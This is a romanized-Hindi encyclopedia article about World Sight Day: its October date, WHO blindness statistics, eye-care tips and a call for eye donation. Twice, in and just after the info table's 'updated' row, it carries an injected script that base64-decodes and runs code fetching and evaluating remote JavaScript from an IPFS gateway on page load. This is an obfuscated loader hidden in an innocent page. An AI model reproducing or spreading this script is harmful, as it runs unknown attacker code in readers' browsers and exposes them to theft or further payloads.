विश्व दृष्टि दिवस
vishv drishti divas
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| vivaran | vishv drishti divas har sal aktoobar ke doosare guruvar ko manaya jata hai. |
| varsh 2020 | 15 aktoobar |
| uddeshy | yah divas dhuandhali drishti, aandhapan ke sath-sath drishti sanbandhit samasyaoan ke bare mean jagarookata paida karane ke lie manaya jata hai. |
| any janakari | aankhoan ke svasthy ko banae rakhana keval ek vyakti ka hi kartavy nahian hai, balki yah samaj ki samoohik jimmedari hai. |
| adyatan | 16:26, 13 aktoobar 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vishv drishti divas (aangrezi: World Sight Day) prativarsh aktoobar mahine ke doosare guruvar ko manaya jata hai. yah divas dhuandhali drishti (kharab drishti); aandhapan ke sath-sath drishti sanbandhit samasyaoan ke bare mean jagarookata paida karane ke lie manaya jata hai. is divas ka keandriy biandu aandhepan ki rokatham ke bare mean lakshit darshakoan ko shikshit tatha vizan 2020 evan vizan 2020 karyakram ki gatividhiyoan ke bare mean sahayog utpann karana haian. is varsh vishv drishti divas ka vishay 'karravaee karane ke lie milajul kar sashakt banean' hai.[1]
tezise badhati netrahinata
vishv svasthy sangathan (dablyooecho) ke ek anuman ke anusar, vishvabhar mean lagabhag 285 miliyan log netrahin haian. inamean se 39 lakh log aandhe aur 246 miliyan log madhyam ya ganbhir drishti dosh vale haian. drishti dosh ke pramukh karanoan mean asanshodhit apavartak kamiyaan (43%) aur motiyabiand (33%) haian. adhikaansh aandhepan (lagabhag 80 %) ka bachav yani ki upachar ya rokatham ki ja sakati hai.[1]
rokatham
aandhepan ki rokatham sabhi svasthy hastakshep mean sabase sasti-sulabh evan saphal hastakshep haian. vishv drishti divas vizan 2020 ek vaishvik pahal hai, jisaka uddeshy varsh 2020 tak talane yogy aandhepan ko samapt karana hai. isaka shubharanbh 18 pharavari 1999 mean 20 se zyada aantararashtriy gair-sarakari netr dekhabhal sangathanoan ke sath vishv svasthy sangathan dvara drishtihinata rokatham ke lie aantararashtriy ejeansi, aeeepibi ke taur par kiya gaya tha.[1]
aankhoan ki dekhabhal
- aankhoan ke achchhe svasthy ko kaise banae rakha ja sakata haian
- achchhi drishti ke lie svasth ahar ka sevan karean. santulit ahar ka sevan karean. apane ahar mean hari pattedar sabjiyoan, aande, phaliyoan evan gajar ko adhik se adhik matra mean shamil karean.
- dhoomrapan chho dean: dhoomrapan, motiyabiand, aauptik evan tantrika kshati ke sath-sath drishti se sanbandhit kee tarah ki samasyaoan ko paida kar sakata hai.
- soory ki roshani ke pratyaksh prabhav ko rokane ke lie yoovi sanrakshit dhoop ka chashma pahanean, jo ki apaki aankhoan ki suraksha ke lie behatar hai.
- suraksha chashma pahanean. yadi ap karyasthal par khataranak padarthoan se kam karate haian, to apako apani aankhoan ki raksha karane ke lie suraksha chashma avashy pahanana chahie.
- yadi ap lanbi avadhi tak kanpyootar par kam karate haian, to yah sunishchit karean, ki ap aksar bich-bich mean utheange, aankhoan ka sookhapan kam karane ke lie aankhoan ko adhik se adhik bar jhapakean.
- telivijan dekhate ya kanpyootar par kam karate hue eanti gleyar chashma pahanane ki salah di jati hai.
- mand prakash mean n padhe. yah aankhoan ko hone vali pareshaniyoan ke pramukh karanoan mean se ek hai.
- aankhoan ke behatar svasthy ko banae rakhane ke lie apani aankhoan ki niyamit jaanch karaean.
- khi dakiyoan evan lait dvara kanpyootar par p dane vali chakachauandh se bachane ki koshish karean. yadi avashyak hoan, to eanti gleyar skrin ka upayog karean.
- yadi ap k aauntekt leans pahanate haian, to unhean lanbi avadhi tak pahanane se bachean, k aauntekt leans pahanate hue tairaki evan sone se bachean.
- apani aankhoan ko aram dene ke lie har bis minat mean bis phit ki doori par bis sekand ke lie dekhean”.[1]
[[chitr:Eye-3.jpg|thumb|250|left|aankh]]
netradan karean
aankhoan ke svasthy ko banae rakhana keval ek vyakti ka hi kartavy nahian hai, balki yah samaj ki samoohik jimmedari hai. netradan dvara b di sankhya mean logoan ko labhanvit kiya ja sakata haian. “kisi ko behatar drishti dene ke lie aj hi apani aankhean dan karane ki shapath lean”.[1]
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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